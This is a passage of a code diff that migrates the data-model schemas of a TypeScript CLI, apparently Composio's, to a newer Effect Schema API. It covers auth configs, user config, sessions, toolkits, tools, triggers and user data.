20 slug: Schema.String,
21 }),
22 - auth_scheme: Schema.optionalWith(Schema.String, { default: () => '' }),
23 - is_composio_managed: Schema.optionalWith(Schema.Boolean, { default: () => false }),
24 - is_enabled_for_tool_router: Schema.optionalWith(Schema.Boolean, { default: () => false }),
25 - created_at: Schema.optionalWith(Schema.String, { default: () => '' }),
26 -}).annotations({ identifier: 'AuthConfigItem' });
22 + auth_scheme: Schema.String.pipe(Schema.withDecodingDefaultType(Effect.succeed(''))),
23 + is_composio_managed: Schema.Boolean.pipe(Schema.withDecodingDefaultType(Effect.succeed(false))),
24 + is_enabled_for_tool_router: Schema.Boolean.pipe(
25 + Schema.withDecodingDefaultType(Effect.succeed(false))
26 + ),
27 + created_at: Schema.String.pipe(Schema.withDecodingDefaultType(Effect.succeed(''))),
28 +}).annotate({ identifier: 'AuthConfigItem' });
29 export type AuthConfigItem = Schema.Schema.Type<typeof AuthConfigItem>;
30
31 export const AuthConfigItems = Schema.Array(AuthConfigItem);
ts/packages/cli/src/models/cli-user-config.ts
+42 -44
@@ -1,8 +1,8 @@
1 -import { Schema } from 'effect';
2 -import { OptionFromNullishOr } from 'effect/Schema';
1 +import { Effect, Schema } from 'effect';
2 +import { OptionFromOptionalNullOr } from 'effect/Schema';
3 import { JSONTransformSchema } from './utils/json-transform-schema';
4
5 -export const ExperimentalSubagentTarget = Schema.Literal('auto', 'claude', 'codex');
5 +export const ExperimentalSubagentTarget = Schema.Literals(['auto', 'claude', 'codex']);
6 export type ExperimentalSubagentTarget = Schema.Schema.Type<typeof ExperimentalSubagentTarget>;
7
8 /**
@@ -28,67 +28,65 @@ export type ExperimentalSubagentTarget = Schema.Schema.Type<typeof ExperimentalS
28 * certificate. Linux is identical to `"keychain-subprocess"`
29 * (there's no FFI backend for libsecret).
30 */
31 -export const SecurityBackend = Schema.Literal('auto', 'json', 'keychain-subprocess', 'keychain');
31 +export const SecurityBackend = Schema.Literals(['auto', 'json', 'keychain-subprocess', 'keychain']);
32 export type SecurityBackend = Schema.Schema.Type<typeof SecurityBackend>;
33
34 -export const ExperimentalFeatures = Schema.Record({
35 - key: Schema.String,
36 - value: Schema.Boolean,
37 -});
34 +export const ExperimentalFeatures = Schema.Record(Schema.String, Schema.Boolean);
35 export type ExperimentalFeatures = Schema.Schema.Type<typeof ExperimentalFeatures>;
36
37 export const DeveloperConfig = Schema.Struct({
41 - enabled: Schema.optionalWith(Schema.Boolean, {
42 - default: () => true,
43 - }),
44 - destructiveActions: Schema.optionalWith(Schema.Boolean, {
45 - default: () => false,
46 - }).pipe(Schema.fromKey('destructive_actions')),
47 -});
38 + enabled: Schema.Boolean.pipe(Schema.withDecodingDefaultType(Effect.succeed(true))),
39 + destructiveActions: Schema.Boolean.pipe(Schema.withDecodingDefaultType(Effect.succeed(false))),
40 +}).pipe(Schema.encodeKeys({ destructiveActions: 'destructive_actions' }));
41 export type DeveloperConfig = Schema.Schema.Type<typeof DeveloperConfig>;
42
43 export const CliUserConfig = Schema.Struct({
51 - developer: Schema.optionalWith(DeveloperConfig, {
52 - default: () =>
53 - DeveloperConfig.make({
54 - enabled: true,
55 - destructiveActions: false,
56 - }),
57 - }),
58 - experimentalFeatures: Schema.optionalWith(ExperimentalFeatures, {
59 - default: () => ({}),
60 - }).pipe(Schema.fromKey('experimental_features')),
61 - artifactDirectory: Schema.propertySignature(OptionFromNullishOr(Schema.String, null)).pipe(
62 - Schema.fromKey('artifact_directory')
63 - ),
64 - experimentalSubagent: Schema.propertySignature(
65 - OptionFromNullishOr(
66 - Schema.Struct({
67 - target: ExperimentalSubagentTarget,
68 - }),
69 - null
44 + developer: DeveloperConfig.pipe(
45 + Schema.withDecodingDefaultType(
46 + Effect.succeed(
47 + DeveloperConfig.make({
48 + enabled: true,
49 + destructiveActions: false,
50 + })
51 + )
52 )
71 - ).pipe(Schema.fromKey('experimental_subagent')),
53 + ),
54 + experimentalFeatures: ExperimentalFeatures.pipe(
55 + Schema.withDecodingDefaultType(Effect.succeed({}))
56 + ),
57 + artifactDirectory: OptionFromOptionalNullOr(Schema.String, { onNoneEncoding: null }),
58 + experimentalSubagent: OptionFromOptionalNullOr(
59 + Schema.Struct({
60 + target: ExperimentalSubagentTarget,
61 + }),
62 + { onNoneEncoding: null }
63 + ),
64 /**
65 * Where the CLI stores the Composio API key. See the
66 * `SecurityBackend` type above for semantics. Default: `"auto"`
67 * (plaintext `user_data.json`, same as every prior CLI release —
68 * no behavior change on upgrade).
69 */
78 - security: Schema.optionalWith(SecurityBackend, {
79 - default: (): SecurityBackend => 'auto',
70 + security: SecurityBackend.pipe(
71 + Schema.withDecodingDefaultType(Effect.succeed<SecurityBackend>('auto'))
72 + ),
73 +}).pipe(
74 + Schema.encodeKeys({
75 + experimentalFeatures: 'experimental_features',
76 + artifactDirectory: 'artifact_directory',
77 + experimentalSubagent: 'experimental_subagent',
78 }),
81 -}).annotations({
82 - identifier: 'CliUserConfig',
83 - description: 'Named user configuration storage for the Composio CLI',
84 -});
79 + Schema.annotate({
80 + identifier: 'CliUserConfig',
81 + description: 'Named user configuration storage for the Composio CLI',
82 + })
83 +);
84
85 export type CliUserConfig = Schema.Schema.Type<typeof CliUserConfig>;
86
87 export const CliUserConfigJSON = JSONTransformSchema(CliUserConfig);
89 -export const cliUserConfigFromJSON = Schema.decode(CliUserConfigJSON, {
88 +export const cliUserConfigFromJSON = Schema.decodeEffect(CliUserConfigJSON, {
89 propertyOrder: 'original',
90 onExcessProperty: 'preserve',
92 - exact: false,
91 });
94 -export const cliUserConfigToJSON = Schema.encode(CliUserConfigJSON);
92 +export const cliUserConfigToJSON = Schema.encodeEffect(CliUserConfigJSON);
ts/packages/cli/src/models/connected-accounts.ts
+10 -8
@@ -1,4 +1,4 @@
1 -import { Schema } from 'effect';
1 +import { Effect, Schema } from 'effect';
2
3 /**
4 * Statuses this CLI build knows about. The server owns this enum and may add
@@ -6,15 +6,15 @@ import { Schema } from 'effect';
6 * {@link ConnectedAccountStatus}) — use {@link isKnownConnectedAccountStatus}
7 * to detect values newer than this build.
8 */
9 -export const KnownConnectedAccountStatus = Schema.Literal(
9 +export const KnownConnectedAccountStatus = Schema.Literals([
10 'INITIALIZING',
11 'INITIATED',
12 'ACTIVE',
13 'FAILED',
14 'EXPIRED',
15 'INACTIVE',
16 - 'REVOKED'
17 -);
16 + 'REVOKED',
17 +]);
18 export type KnownConnectedAccountStatus = typeof KnownConnectedAccountStatus.Type;
19
20 export const isKnownConnectedAccountStatus = Schema.is(KnownConnectedAccountStatus);
@@ -25,7 +25,7 @@ export const isKnownConnectedAccountStatus = Schema.is(KnownConnectedAccountStat
25 * status decode instead of failing the whole payload. Callers only compare
26 * against literals or render the value as text, so widening is safe.
27 */
28 -export const ConnectedAccountStatus = Schema.Union(KnownConnectedAccountStatus, Schema.String);
28 +export const ConnectedAccountStatus = Schema.Union([KnownConnectedAccountStatus, Schema.String]);
29
30 /**
31 * A connected account item from the list or retrieve endpoints.
@@ -41,7 +41,9 @@ export const ConnectedAccountItem = Schema.Struct({
41 word_id: Schema.optional(Schema.NullOr(Schema.String)),
42 alias: Schema.optional(Schema.NullOr(Schema.String)),
43 status: ConnectedAccountStatus,
44 - status_reason: Schema.optionalWith(Schema.NullOr(Schema.String), { default: () => null }),
44 + status_reason: Schema.NullOr(Schema.String).pipe(
45 + Schema.withDecodingDefaultType(Effect.succeed(null))
46 + ),
47 is_disabled: Schema.Boolean,
48 user_id: Schema.String,
49 toolkit: Schema.Struct({
@@ -55,8 +57,8 @@ export const ConnectedAccountItem = Schema.Struct({
57 }),
58 created_at: Schema.String,
59 updated_at: Schema.String,
58 - test_request_endpoint: Schema.optionalWith(Schema.String, { default: () => '' }),
59 -}).annotations({ identifier: 'ConnectedAccountItem' });
60 + test_request_endpoint: Schema.String.pipe(Schema.withDecodingDefaultType(Effect.succeed(''))),
61 +}).annotate({ identifier: 'ConnectedAccountItem' });
62 export type ConnectedAccountItem = Schema.Schema.Type<typeof ConnectedAccountItem>;
63
64 export const ConnectedAccountItems = Schema.Array(ConnectedAccountItem);
ts/packages/cli/src/models/project-keys.ts
+22 -22
@@ -1,5 +1,5 @@
1 import { Schema } from 'effect';
2 -import { OptionFromNullishOr } from 'effect/Schema';
2 +import { OptionFromOptionalNullOr } from 'effect/Schema';
3 import { JSONTransformSchema } from './utils/json-transform-schema';
4
5 /**
@@ -11,51 +11,51 @@ export const ProjectKeys = Schema.Struct({
11 /**
12 * Organization member ID (maps to `x-org-id` header).
13 */
14 - orgId: Schema.propertySignature(Schema.String).pipe(Schema.fromKey('org_id')),
14 + orgId: Schema.String,
15
16 /**
17 * Project ID (maps to `x-project-id` header).
18 */
19 - projectId: Schema.propertySignature(Schema.String).pipe(Schema.fromKey('project_id')),
19 + projectId: Schema.String,
20
21 /**
22 * Human-readable project name from session/info (optional for backward compat).
23 */
24 - projectName: Schema.propertySignature(OptionFromNullishOr(Schema.String, null)).pipe(
25 - Schema.fromKey('project_name')
26 - ),
24 + projectName: OptionFromOptionalNullOr(Schema.String, { onNoneEncoding: null }),
25
26 /**
27 * Human-readable org name from session/info (optional for backward compat).
28 */
31 - orgName: Schema.propertySignature(OptionFromNullishOr(Schema.String, null)).pipe(
32 - Schema.fromKey('org_name')
33 - ),
29 + orgName: OptionFromOptionalNullOr(Schema.String, { onNoneEncoding: null }),
30
31 /**
32 * User email from session/info (optional for backward compat).
33 */
38 - email: Schema.propertySignature(OptionFromNullishOr(Schema.String, null)).pipe(
39 - Schema.fromKey('email')
40 - ),
34 + email: OptionFromOptionalNullOr(Schema.String, { onNoneEncoding: null }),
35
36 /**
37 * Optional test user identifier used by CLI/e2e flows.
38 */
45 - testUserId: Schema.propertySignature(OptionFromNullishOr(Schema.String, null)).pipe(
46 - Schema.fromKey('test_user_id')
47 - ),
48 -}).annotations({
49 - identifier: 'ProjectKeys',
50 - description: 'Organization and project identifiers for a CLI project profile',
51 -});
39 + testUserId: OptionFromOptionalNullOr(Schema.String, { onNoneEncoding: null }),
40 +}).pipe(
41 + Schema.encodeKeys({
42 + orgId: 'org_id',
43 + projectId: 'project_id',
44 + projectName: 'project_name',
45 + orgName: 'org_name',
46 + testUserId: 'test_user_id',
47 + }),
48 + Schema.annotate({
49 + identifier: 'ProjectKeys',
50 + description: 'Organization and project identifiers for a CLI project profile',
51 + })
52 +);
53
54 export type ProjectKeys = Schema.Schema.Type<typeof ProjectKeys>;
55
56 export const ProjectKeysJSON = JSONTransformSchema(ProjectKeys);
56 -export const projectKeysFromJSON = Schema.decode(ProjectKeysJSON, {
57 +export const projectKeysFromJSON = Schema.decodeEffect(ProjectKeysJSON, {
58 propertyOrder: 'original',
59 onExcessProperty: 'ignore',
59 - exact: false,
60 });
61 -export const projectKeysToJSON = Schema.encode(ProjectKeysJSON);
61 +export const projectKeysToJSON = Schema.encodeEffect(ProjectKeysJSON);
ts/packages/cli/src/models/session.ts
+12 -12
@@ -4,33 +4,33 @@ import { JSONTransformSchema } from './utils/json-transform-schema';
4 export const Session = Schema.Struct({
5 id: Schema.String,
6 code: Schema.String,
7 - expiresAt: Schema.DateTimeUtc,
8 - status: Schema.Literal('pending', 'linked'),
9 -}).annotations({ identifier: 'Session' });
7 + expiresAt: Schema.DateTimeUtcFromString,
8 + status: Schema.Literals(['pending', 'linked']),
9 +}).annotate({ identifier: 'Session' });
10 export type Session = Schema.Schema.Type<typeof Session>;
11
12 export const SessionJSON = JSONTransformSchema(Session);
13 -export const sessionFromJSON = Schema.decode(SessionJSON);
14 -export const sessionToJSON = Schema.encode(SessionJSON);
13 +export const sessionFromJSON = Schema.decodeEffect(SessionJSON);
14 +export const sessionToJSON = Schema.encodeEffect(SessionJSON);
15
16 const SessionAccount = Schema.Struct({
17 id: Schema.String,
18 email: Schema.String,
19 name: Schema.String,
20 -}).annotations({ identifier: 'SessionAccount' });
20 +}).annotate({ identifier: 'SessionAccount' });
21 export type SessionAccount = Schema.Schema.Type<typeof SessionAccount>;
22
23 -export const RetrievedSession = Schema.Union(
23 +export const RetrievedSession = Schema.Union([
24 Schema.Struct({ ...Session.fields, api_key: Schema.Null, status: Schema.Literal('pending') }),
25 Schema.Struct({
26 ...Session.fields,
27 api_key: Schema.String,
28 - account: SessionAccount.annotations({ identifier: 'RetrievedSession.Account' }),
28 + account: SessionAccount.annotate({ identifier: 'RetrievedSession.Account' }),
29 status: Schema.Literal('linked'),
30 - })
31 -).annotations({ identifier: 'RetrievedSession' });
30 + }),
31 +]).annotate({ identifier: 'RetrievedSession' });
32 export type RetrievedSession = Schema.Schema.Type<typeof RetrievedSession>;
33
34 export const RetrievedSessionJSON = JSONTransformSchema(RetrievedSession);
35 -export const retrievedSessionFromJSON = Schema.decode(RetrievedSessionJSON);
36 -export const retrievedSessionToJSON = Schema.encode(RetrievedSessionJSON);
35 +export const retrievedSessionFromJSON = Schema.decodeEffect(RetrievedSessionJSON);
36 +export const retrievedSessionToJSON = Schema.encodeEffect(RetrievedSessionJSON);
ts/packages/cli/src/models/toolkits.ts
+38 -30
@@ -1,4 +1,4 @@
1 -import { Brand, Schema } from 'effect';
1 +import { Brand, Effect, Schema } from 'effect';
2 import { JSONTransformSchema } from './utils/json-transform-schema';
3
4 /**
@@ -16,11 +16,11 @@ export const TOOLKIT_SLUG_PATTERN = /^[a-z0-9_][a-z0-9_-]*$/;
16 /**
17 * A toolkit slug used to derive generated source filenames.
18 */
19 -export const ToolkitSlug = Schema.Trim.pipe(
20 - Schema.nonEmptyString(),
21 - Schema.pattern(TOOLKIT_SLUG_PATTERN, {
19 +export const ToolkitSlug = Schema.Trim.check(
20 + Schema.isNonEmpty(),
21 + Schema.isPattern(TOOLKIT_SLUG_PATTERN, {
22 identifier: 'ToolkitSlug',
23 - message: () =>
23 + message:
24 'Toolkit slug must contain only lowercase letters, digits, underscores, and hyphens (no path separators)',
25 })
26 );
@@ -34,22 +34,24 @@ export const Toolkit = Schema.Struct({
34 meta: Schema.Struct({
35 description: Schema.String,
36 categories: Schema.Array(Schema.Unknown),
37 - created_at: Schema.DateTimeUtc, // "2024-05-03T11:44:32.061Z"
38 - updated_at: Schema.DateTimeUtc, // "2024-05-03T11:44:32.061Z"
39 - available_versions: Schema.optionalWith(Schema.Array(Schema.String), { default: () => [] }),
40 - tools_count: Schema.optionalWith(Schema.Int, { default: () => 0 }),
41 - triggers_count: Schema.optionalWith(Schema.Int, { default: () => 0 }),
37 + created_at: Schema.DateTimeUtcFromString, // "2024-05-03T11:44:32.061Z"
38 + updated_at: Schema.DateTimeUtcFromString, // "2024-05-03T11:44:32.061Z"
39 + available_versions: Schema.Array(Schema.String).pipe(
40 + Schema.withDecodingDefaultType(Effect.succeed([]))
41 + ),
42 + tools_count: Schema.Int.pipe(Schema.withDecodingDefaultType(Effect.succeed(0))),
43 + triggers_count: Schema.Int.pipe(Schema.withDecodingDefaultType(Effect.succeed(0))),
44 }),
45 no_auth: Schema.Boolean,
44 -}).annotations({ identifier: 'Toolkit' });
46 +}).annotate({ identifier: 'Toolkit' });
47 export type Toolkit = Schema.Schema.Type<typeof Toolkit>;
48
49 export const Toolkits = Schema.Array(Toolkit);
50 export type Toolkits = Schema.Schema.Type<typeof Toolkits>;
51
52 export const ToolkitsJSON = JSONTransformSchema(Toolkits);
51 -export const toolkitsFromJSON = Schema.decode(ToolkitsJSON);
52 -export const toolkitsToJSON = Schema.encode(ToolkitsJSON);
53 +export const toolkitsFromJSON = Schema.decodeEffect(ToolkitsJSON);
54 +export const toolkitsToJSON = Schema.encodeEffect(ToolkitsJSON);
55
56 export type ToolkitName = string & Brand.Brand<'ToolkitName'>;
57 export const ToolkitName = Brand.nominal<ToolkitName>();
@@ -63,8 +65,8 @@ export const AuthConfigField = Schema.Struct({
65 description: Schema.String,
66 type: Schema.String,
67 required: Schema.Boolean,
66 - default: Schema.optionalWith(Schema.NullOr(Schema.String), { default: () => null }),
67 -}).annotations({ identifier: 'AuthConfigField' });
68 + default: Schema.NullOr(Schema.String).pipe(Schema.withDecodingDefaultType(Effect.succeed(null))),
69 +}).annotate({ identifier: 'AuthConfigField' });
70 export type AuthConfigField = Schema.Schema.Type<typeof AuthConfigField>;
71
72 /**
@@ -83,7 +85,7 @@ export const AuthConfigDetail = Schema.Struct({
85 optional: Schema.Array(AuthConfigField),
86 }),
87 }),
86 -}).annotations({ identifier: 'AuthConfigDetail' });
88 +}).annotate({ identifier: 'AuthConfigDetail' });
89 export type AuthConfigDetail = Schema.Schema.Type<typeof AuthConfigDetail>;
90
91 /**
@@ -93,21 +95,27 @@ export const ToolkitDetailed = Schema.Struct({
95 name: Schema.String,
96 slug: ToolkitSlug,
97 is_local_toolkit: Schema.Boolean,
96 - composio_managed_auth_schemes: Schema.optionalWith(Schema.Array(Schema.String), {
97 - default: () => [],
98 - }),
99 - no_auth: Schema.optionalWith(Schema.Boolean, { default: () => false }),
98 + composio_managed_auth_schemes: Schema.Array(Schema.String).pipe(
99 + Schema.withDecodingDefaultType(Effect.succeed([]))
100 + ),
101 + no_auth: Schema.Boolean.pipe(Schema.withDecodingDefaultType(Effect.succeed(false))),
102 meta: Schema.Struct({
101 - description: Schema.optionalWith(Schema.String, { default: () => '' }),
102 - categories: Schema.optionalWith(Schema.Array(Schema.Unknown), { default: () => [] }),
103 - created_at: Schema.DateTimeUtc,
104 - updated_at: Schema.DateTimeUtc,
105 - available_versions: Schema.optionalWith(Schema.Array(Schema.String), { default: () => [] }),
106 - tools_count: Schema.optionalWith(Schema.Int, { default: () => 0 }),
107 - triggers_count: Schema.optionalWith(Schema.Int, { default: () => 0 }),
103 + description: Schema.String.pipe(Schema.withDecodingDefaultType(Effect.succeed(''))),
104 + categories: Schema.Array(Schema.Unknown).pipe(
105 + Schema.withDecodingDefaultType(Effect.succeed([]))
106 + ),
107 + created_at: Schema.DateTimeUtcFromString,
108 + updated_at: Schema.DateTimeUtcFromString,
109 + available_versions: Schema.Array(Schema.String).pipe(
110 + Schema.withDecodingDefaultType(Effect.succeed([]))
111 + ),
112 + tools_count: Schema.Int.pipe(Schema.withDecodingDefaultType(Effect.succeed(0))),
113 + triggers_count: Schema.Int.pipe(Schema.withDecodingDefaultType(Effect.succeed(0))),
114 }),
109 - auth_config_details: Schema.optionalWith(Schema.Array(AuthConfigDetail), { default: () => [] }),
110 -}).annotations({ identifier: 'ToolkitDetailed' });
115 + auth_config_details: Schema.Array(AuthConfigDetail).pipe(
116 + Schema.withDecodingDefaultType(Effect.succeed([]))
117 + ),
118 +}).annotate({ identifier: 'ToolkitDetailed' });
119 export type ToolkitDetailed = Schema.Schema.Type<typeof ToolkitDetailed>;
120
121 /**
@@ -118,5 +126,5 @@ export const ToolkitSearchResult = Schema.Struct({
126 total_items: Schema.Int,
127 total_pages: Schema.Int,
128 next_cursor: Schema.NullOr(Schema.String),
121 -}).annotations({ identifier: 'ToolkitSearchResult' });
129 +}).annotate({ identifier: 'ToolkitSearchResult' });
130 export type ToolkitSearchResult = Schema.Schema.Type<typeof ToolkitSearchResult>;
ts/packages/cli/src/models/tools.ts
+11 -15
@@ -1,22 +1,18 @@
1 import { Brand, Schema } from 'effect';
2 import { JSONTransformSchema } from './utils/json-transform-schema';
3 -import { extractActual } from './utils/extract-actual';
3
5 -export const ToolAsEnum = Schema.String.annotations({ identifier: 'ToolAsEnum' });
4 +export const ToolAsEnum = Schema.String.annotate({ identifier: 'ToolAsEnum' });
5 export type ToolAsEnum = Schema.Schema.Type<typeof ToolAsEnum>;
6
8 -export const ToolsAsEnums = Schema.Array(ToolAsEnum).annotations({
7 +export const ToolsAsEnums = Schema.Array(ToolAsEnum).annotate({
8 identifier: 'Array<ToolAsEnum>',
10 - message: issue => ({
11 - message: `Expected an array of strings, got ${extractActual(issue)}`,
12 - override: true,
13 - }),
9 + message: 'Expected an array of strings',
10 });
11 export type ToolsAsEnums = Schema.Schema.Type<typeof ToolsAsEnums>;
12
13 export const ToolsAsEnumsJSON = JSONTransformSchema(ToolsAsEnums);
18 -export const toolsAsEnumsFromJSON = Schema.decode(ToolsAsEnumsJSON);
19 -export const toolsAsEnumsToJSON = Schema.encode(ToolsAsEnumsJSON);
14 +export const toolsAsEnumsFromJSON = Schema.decodeEffect(ToolsAsEnumsJSON);
15 +export const toolsAsEnumsToJSON = Schema.encodeEffect(ToolsAsEnumsJSON);
16
17 // E.g., `SEND_EMAIL`
18 export type ToolName = string & Brand.Brand<'ToolName'>;
@@ -45,11 +41,11 @@ export const Tool = Schema.Struct({
41 /**
42 * Schema definition of required input parameters for the tool
43 */
48 - input_parameters: Schema.Record({ key: Schema.String, value: Schema.Unknown }),
44 + input_parameters: Schema.Record(Schema.String, Schema.Unknown),
45 /**
46 * Schema definition of required output parameters for the tool
47 */
52 - output_parameters: Schema.Record({ key: Schema.String, value: Schema.Unknown }),
48 + output_parameters: Schema.Record(Schema.String, Schema.Unknown),
49 /**
50 * Detailed explanation of the tool's functionality and purpose.
51 */
@@ -58,12 +54,12 @@ export const Tool = Schema.Struct({
54 * List of tags associated with the tool for categorization and filtering.
55 */
56 tags: Schema.Array(Schema.String),
61 -}).annotations({ identifier: 'Tool' });
57 +}).annotate({ identifier: 'Tool' });
58 export type Tool = Schema.Schema.Type<typeof Tool>;
59
64 -export const Tools = Schema.Array(Tool).annotations({ identifier: 'Array<Tool>' });
60 +export const Tools = Schema.Array(Tool).annotate({ identifier: 'Array<Tool>' });
61 export type Tools = Schema.Schema.Type<typeof Tools>;
62
63 export const ToolsJSON = JSONTransformSchema(Tools);
68 -export const ToolsFromJSON = Schema.decode(ToolsJSON);
69 -export const ToolsToJSON = Schema.encode(ToolsJSON);
64 +export const ToolsFromJSON = Schema.decodeEffect(ToolsJSON);
65 +export const ToolsToJSON = Schema.encodeEffect(ToolsJSON);
ts/packages/cli/src/models/trigger-types.ts
+14 -18
@@ -1,27 +1,23 @@
1 import { Brand, Schema } from 'effect';
2 import { JSONTransformSchema } from './utils/json-transform-schema';
3 -import { extractActual } from './utils/extract-actual';
3
4 /**
5 * TriggerType as Enums
6 */
7
9 -export const TriggerTypeAsEnum = Schema.String.annotations({ identifier: 'TriggerType' });
8 +export const TriggerTypeAsEnum = Schema.String.annotate({ identifier: 'TriggerType' });
9 export type TriggerTypeAsEnum = Schema.Schema.Type<typeof TriggerTypeAsEnum>;
10
12 -export const TriggerTypesAsEnums = Schema.Array(TriggerTypeAsEnum).annotations({
11 +export const TriggerTypesAsEnums = Schema.Array(TriggerTypeAsEnum).annotate({
12 identifier: 'Array<TriggerTypeAsEnum>',
13 title: 'TriggerTypesAsEnums',
15 - message: issue => ({
16 - message: `Expected an array of strings, got ${extractActual(issue)}`,
17 - override: true,
18 - }),
14 + message: 'Expected an array of strings',
15 });
16 export type TriggerTypesAsEnums = Schema.Schema.Type<typeof TriggerTypesAsEnums>;
17
18 export const TriggerTypesAsEnumsJSON = JSONTransformSchema(TriggerTypesAsEnums);
23 -export const TriggerTypesAsEnumsFromJSON = Schema.decode(TriggerTypesAsEnumsJSON);
24 -export const TriggerTypesAsEnumsToJSON = Schema.encode(TriggerTypesAsEnumsJSON);
19 +export const TriggerTypesAsEnumsFromJSON = Schema.decodeEffect(TriggerTypesAsEnumsJSON);
20 +export const TriggerTypesAsEnumsToJSON = Schema.encodeEffect(TriggerTypesAsEnumsJSON);
21
22 /**
23 * TriggerType with payload
@@ -31,7 +27,7 @@ export const TriggerType = Schema.Struct({
27 /**
28 * Configuration schema required to set up this trigger
29 */
34 - config: Schema.Record({ key: Schema.String, value: Schema.Unknown }),
30 + config: Schema.Record(Schema.String, Schema.Unknown),
31
32 /**
33 * Detailed description of what the trigger does
@@ -51,7 +47,7 @@ export const TriggerType = Schema.Struct({
47 /**
48 * Schema of the data payload this trigger will deliver when it fires
49 */
54 - payload: Schema.Record({ key: Schema.String, value: Schema.Unknown }),
50 + payload: Schema.Record(Schema.String, Schema.Unknown),
51
52 /**
53 * Unique identifier for the trigger type
@@ -71,23 +67,23 @@ export const TriggerType = Schema.Struct({
67 /**
68 * The trigger mechanism - either webhook (event-based) or poll (scheduled check)
69 */
74 - type: Schema.Literal('webhook', 'poll'),
75 -}).annotations({ identifier: 'TriggerType' });
70 + type: Schema.Literals(['webhook', 'poll']),
71 +}).annotate({ identifier: 'TriggerType' });
72 export type TriggerType = Schema.Schema.Type<typeof TriggerType>;
73
74 export const TriggerTypeJSON = JSONTransformSchema(TriggerType);
79 -export const TriggerTypeFromJSON = Schema.decode(TriggerTypeJSON);
80 -export const TriggerTypeToJSON = Schema.encode(TriggerTypeJSON);
75 +export const TriggerTypeFromJSON = Schema.decodeEffect(TriggerTypeJSON);
76 +export const TriggerTypeToJSON = Schema.encodeEffect(TriggerTypeJSON);
77
82 -export const TriggerTypes = Schema.Array(TriggerType).annotations({
78 +export const TriggerTypes = Schema.Array(TriggerType).annotate({
79 identifier: 'Array<TriggerType>',
80 title: 'TriggerTypes',
81 });
82 export type TriggerTypes = Schema.Schema.Type<typeof TriggerTypes>;
83
84 export const TriggerTypesJSON = JSONTransformSchema(TriggerTypes);
89 -export const TriggerTypesFromJSON = Schema.decode(TriggerTypesJSON);
90 -export const TriggerTypesToJSON = Schema.encode(TriggerTypesJSON);
85 +export const TriggerTypesFromJSON = Schema.decodeEffect(TriggerTypesJSON);
86 +export const TriggerTypesToJSON = Schema.encodeEffect(TriggerTypesJSON);
87
88 // E.g., `NEW_EMAIL`
89 export type TriggerTypeName = string & Brand.Brand<'TriggerTypeName'>;
ts/packages/cli/src/models/triggers.ts
+16 -20
@@ -1,4 +1,4 @@
1 -import { Schema } from 'effect';
1 +import { Effect, Schema } from 'effect';
2
3 /**
4 * A trigger instance item from the list-active endpoint.
@@ -6,27 +6,23 @@ import { Schema } from 'effect';
6 */
7 export const TriggerInstanceItem = Schema.Struct({
8 id: Schema.String,
9 - uuid: Schema.optionalWith(Schema.String, { default: () => '' }),
10 - trigger_name: Schema.optionalWith(Schema.String, { default: () => '' }),
11 - connected_account_id: Schema.optionalWith(Schema.String, { default: () => '' }),
12 - auth_config_id: Schema.optionalWith(Schema.String, { default: () => '' }),
13 - user_id: Schema.optionalWith(Schema.String, { default: () => '' }),
14 - disabled_at: Schema.optionalWith(Schema.NullOr(Schema.String), { default: () => null }),
15 - updated_at: Schema.optionalWith(Schema.String, { default: () => '' }),
16 - trigger_data: Schema.optionalWith(Schema.String, { default: () => '' }),
17 - state: Schema.optionalWith(
18 - Schema.NullOr(Schema.Record({ key: Schema.String, value: Schema.Unknown })),
19 - {
20 - default: () => null,
21 - }
9 + uuid: Schema.String.pipe(Schema.withDecodingDefaultType(Effect.succeed(''))),
10 + trigger_name: Schema.String.pipe(Schema.withDecodingDefaultType(Effect.succeed(''))),
11 + connected_account_id: Schema.String.pipe(Schema.withDecodingDefaultType(Effect.succeed(''))),
12 + auth_config_id: Schema.String.pipe(Schema.withDecodingDefaultType(Effect.succeed(''))),
13 + user_id: Schema.String.pipe(Schema.withDecodingDefaultType(Effect.succeed(''))),
14 + disabled_at: Schema.NullOr(Schema.String).pipe(
15 + Schema.withDecodingDefaultType(Effect.succeed(null))
16 ),
23 - trigger_config: Schema.optionalWith(
24 - Schema.NullOr(Schema.Record({ key: Schema.String, value: Schema.Unknown })),
25 - {
26 - default: () => null,
27 - }
17 + updated_at: Schema.String.pipe(Schema.withDecodingDefaultType(Effect.succeed(''))),
18 + trigger_data: Schema.String.pipe(Schema.withDecodingDefaultType(Effect.succeed(''))),
19 + state: Schema.NullOr(Schema.Record(Schema.String, Schema.Unknown)).pipe(
20 + Schema.withDecodingDefaultType(Effect.succeed(null))
21 ),
29 -}).annotations({ identifier: 'TriggerInstanceItem' });
22 + trigger_config: Schema.NullOr(Schema.Record(Schema.String, Schema.Unknown)).pipe(
23 + Schema.withDecodingDefaultType(Effect.succeed(null))
24 + ),
25 +}).annotate({ identifier: 'TriggerInstanceItem' });
26 export type TriggerInstanceItem = Schema.Schema.Type<typeof TriggerInstanceItem>;
27
28 export const TriggerInstanceItems = Schema.Array(TriggerInstanceItem);
ts/packages/cli/src/models/user-data.ts
+38 -34
@@ -1,75 +1,79 @@
1 import { Schema } from 'effect';
2 import { JSONTransformSchema } from './utils/json-transform-schema';
3 -import { OptionFromNullishOr } from 'effect/Schema';
3 +import { OptionFromOptionalNullOr } from 'effect/Schema';
4
5 -export const UserData = Schema.Struct({
5 +const userDataFields = {
6 /**
7 * API key for the Composio API server.
8 */
9 - apiKey: Schema.propertySignature(OptionFromNullishOr(Schema.String, null)).pipe(
10 - Schema.fromKey('api_key')
11 - ),
9 + apiKey: OptionFromOptionalNullOr(Schema.String, { onNoneEncoding: null }),
10
11 /**
12 * Base URL for the Composio API server (backend).
13 */
16 - baseURL: Schema.propertySignature(OptionFromNullishOr(Schema.String, null)).pipe(
17 - Schema.fromKey('base_url')
18 - ),
14 + baseURL: OptionFromOptionalNullOr(Schema.String, { onNoneEncoding: null }),
15
16 /**
17 * Base URL for the Composio web app (frontend).
18 */
23 - webURL: Schema.propertySignature(OptionFromNullishOr(Schema.String, null)).pipe(
24 - Schema.fromKey('web_url')
25 - ),
19 + webURL: OptionFromOptionalNullOr(Schema.String, { onNoneEncoding: null }),
20
21 /**
22 * Organization ID for the current user.
23 */
30 - orgId: Schema.propertySignature(OptionFromNullishOr(Schema.String, null)).pipe(
31 - Schema.fromKey('org_id')
32 - ),
24 + orgId: OptionFromOptionalNullOr(Schema.String, { onNoneEncoding: null }),
25
26 /**
27 * Legacy global project ID retained for backward-compatible reads.
28 * New CLI versions no longer persist this field.
29 */
38 - projectId: Schema.propertySignature(OptionFromNullishOr(Schema.String, null)).pipe(
39 - Schema.fromKey('project_id')
40 - ),
